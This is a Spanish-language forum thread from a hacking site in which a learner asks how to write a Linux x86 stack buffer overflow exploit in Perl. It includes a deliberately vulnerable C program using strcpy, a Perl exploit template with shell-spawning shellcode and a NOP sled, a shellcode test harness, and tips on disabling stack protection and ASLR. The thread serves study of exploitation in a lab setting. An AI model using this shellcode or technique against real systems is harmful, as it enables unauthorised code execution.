elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 10:36  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Programar exploit BOF Linux/x86 Perl
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Programar exploit BOF Linux/x86 Perl  (Leído 2,261 veces)
SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Programar exploit BOF Linux/x86 Perl
« en: 12 Marzo 2010, 14:58 »

Necesito videotuto Programar exploit BOF Linux/x86.
« Última modificación: 12 Marzo 2010, 17:45 por SnakingMax » En línea

soez

Desconectado Desconectado

Mensajes: 46


Ver Perfil
Re: Programar exploit BOF Linux/x86 Perl
« Respuesta #1 en: 12 Marzo 2010, 16:35 »

Bajate el Manual por rojodos de este post te va a aclarar muchas dudas esta muy bien.

http://foro.elhacker.net/bugs_y_exploits/taller_de_stack_overflows_en_windows_por_rojodos-t57910.0.html

Ahi en vez de usar la direccion de retorno explica de otro modo pero te puedes leer este otro manual por ikary que tambien te va a ayudar mucho.

http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html

En la parte de Recopilatorio de temas hay mucha info pasate ;)

Aunque son Manuales sobre windows y los exploits estan en C repito que te aclararán dudas luego tu puedes seguir por donde quieras.
En línea


01001010 01100001 01110110 01101001 01100101 01110010
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Programar exploit BOF Linux/x86 Perl
« Respuesta #2 en: 12 Marzo 2010, 22:46 »

No se por que editastes tu post, por suerte me llegan al correo

Hola, estoy muy interesado en aprender sobre desbordamiento del buffer y me gustaría que me echaseis una mano. Tengo muchas dudas básicas.

Este es el código vulnerable.(vuln.c)
Código
1- #include <string.h>
2- #include <stdio.h>
3- #include <stdlib.h>
4-
5- void sayhi&#40;char* name&#41;{
6- char name_buffer[100];
7- strcpy&#40;name_buffer,name&#41;;
8- printf&#40;"Bienvenido al sistema, %sn",name&#41;;
9- }
10-
11- int main&#40;int argc, char* argv[]&#41;{
12- if &#40;argc > 1&#41;
13- sayhi&#40;argv[1]&#41;;
14- else{
15- exit&#40;0&#41;;
16- }
17- return 0;
18- }


1/ Lo compilo: gcc --no-stack-protector -g -o vuln vuln.c
2/ Lo lanzo: ./vuln
3/ Lo abro con el debugger: dbg vuln
4/ Luego le meto un breakpoint en la linea 8: break 8
5/ Lo ejecuto: run AABB
6/ Veo los valores de los registros ESP y EBP: info r ESP EBP
7/ Veo los 16 primeros bytes de la pila: x/16wr $sp
8/ Veo que entre ellos se encuentra la dirección en little endian x42424141 debido al AABB.
9/ Calculo el tamaño de la pila: p direccion_esp - direccion_EBP
10/ No sé que me hace falta de todo esto :-(



CODIGO DE EXPLOIT EN PERL QUE ENCONTRÉ POR AHÍ:

Código
#!/usr/bin/perl
#
# Prototipo de Exploit En Perl.
#

my $shellcode="x31xc9x8dx41x17xcdx80x51x68x6ex2fx73".
 "x68x68x2fx2fx62x69x8dx41x0bx89xe3xcdx80";

my $nops="x90"x30; # ¿Cuantos NOPs hacen falta y por que?

my $ebp="xFFxFFxFFxFF"; # que direccion se pone aqui y por que?

my $ret="xFFxFFxFFxFF"; # que direccion se pone aqui y por que?

my $exploit=$nops.$shellcode.$ebp.$ret; # Juntamos todo para crear la cadena maliciosa.

print "Enviando exploit....nn";

system&#40;"./vuln", $exploit&#41;; # Ejecuta el programa vuln con la cadena maliciosa que creamos


print "nExploit enviado!n";
Mis dudas son:
- ¿¿Como se cuantos nops me hacen falta en el exploit??
- ¿¿Con qué se sobreescriben el ebp y el ret??
 my $ebp="xFFxFFxFFxFF";
 my $ret="xFFxFFxFFxFF";
- ¿¿Como consigo todo lo que necesito para hacer mi exploit debuggeando vuln.c??

Si me podeis echar una mano os lo agradecezco mucho. Gracias!


El ebp no es necesario que se sobrescriba, con algo en especifico, al menos que se trate de un off-by-one.
En el ret puedes poner una direccion aproximada de donde esta tu shellcode

Pasate por aqui:

Guia Heuristica y Explotación de Vulnerabilidades (Bugs y Exploits)

Necesito videotuto Programar exploit BOF Linux/x86.

Mi canal de youtube Canal de Anon2ehn

Saludos!!
En línea

Bien Super Divertido
@wifigdlmx
SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: Programar exploit BOF Linux/x86 Perl
« Respuesta #3 en: 15 Marzo 2010, 01:32 »

Gracias a los dos, el tuto de Olly debugger me sirvió para entender como funciana.
NOPS + Shellcode hasta llegar al ret, luego el ret que apunte a donde empieza la shellcode o un poco antes si se quiere (por el medio de los NOPS).
El caso es que estoy siguiendo varios tutos y no consigo hacer nada. Los vieotutos tuyos fueron los primeros que vi y descargué de youtube. Estoy esperando por el resto de las partes...
No se si es que ahora Linux tiene protecciones nuevas, o lo que pasa con mi ordenador.
El caso es que me bajo el tipico programa vuln.c con el exploit de alguien que lo explotó y no me va.
Tampoco fuí capaz de ejecutar una shellcode con el programita que os dejo aqui abajo, probé con la tipica que te ejecuta una shell root pero no lo hacia porque puse id y no me decia que tenia id 0:
Código
char shellcode[] =
"AQUI VA"
"TODA"
"MI"
"SHELLCODE";
 
void main() {
  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}
 

... La verdad que me estoy planteando hacer un post con todo lo que voy haciendo y a ver qué fallos tengo porque me gustaría entender los exploits que ejecuto.

Un saludo y gracias a los 2 por responderme
En línea

AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Programar exploit BOF Linux/x86 Perl
« Respuesta #4 en: 15 Marzo 2010, 05:38 »

Lee apartir de la respuesta 26 de este tema.

[Problema & linux] Explotando BoF mediante la direccion de retorno ESP

Saludos
En línea

Bien Super Divertido
@wifigdlmx
SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: Programar exploit BOF Linux/x86 Perl
« Respuesta #5 en: 15 Marzo 2010, 05:52 »

Lee apartir de la respuesta 26 de este tema.

[Problema & linux] Explotando BoF mediante la direccion de retorno ESP

Saludos

Así que hay que compilarlos con esto:
Código:
gcc -fno-stack-protector -z execstack

....Tengo que probar
En línea

AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Programar exploit BOF Linux/x86 Perl
« Respuesta #6 en: 15 Marzo 2010, 06:38 »

Si, ya nos comentas!!

Sobre los videos, la verdad en lo que saque algo de tiempo agrego mas :D
En línea

Bien Super Divertido
@wifigdlmx
SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: Programar exploit BOF Linux/x86 Perl
« Respuesta #7 en: 15 Marzo 2010, 15:40 »

Voy a ver de nuevo tu canal de youtube y lo voy haciendo a la par con mi terminal;
de aquí en un rato pruebo a compilarlo de la otra manera.

Estoy viendo las protecciones que hay implementadas en linux, dejo los links por si a alguien le interesa:
http://elladodelmal.blogspot.com/2007/10/aslr-apple.html
http://www.set-ezine.org/index.php?num=38&art=5#top
Supongo que es la protección que se salta cambiando el valor de randomize_va_space a 0.
/proc/sys/kernel/randomize_va_space

http://foro.elhacker.net/bugs_y_exploits/tecnica_para_vencer_aslr_y_dep_por_skylined-t286255.0.html
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Programar en Linux Ubuntu???
Programación C/C++
prometheus48 3 717 Último mensaje 2 Octubre 2011, 20:47
por androidsc3
[Perl] FSD Exploit Manager
Scripting
Doddy 0 239 Último mensaje 7 Octubre 2011, 01:14
por Doddy
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines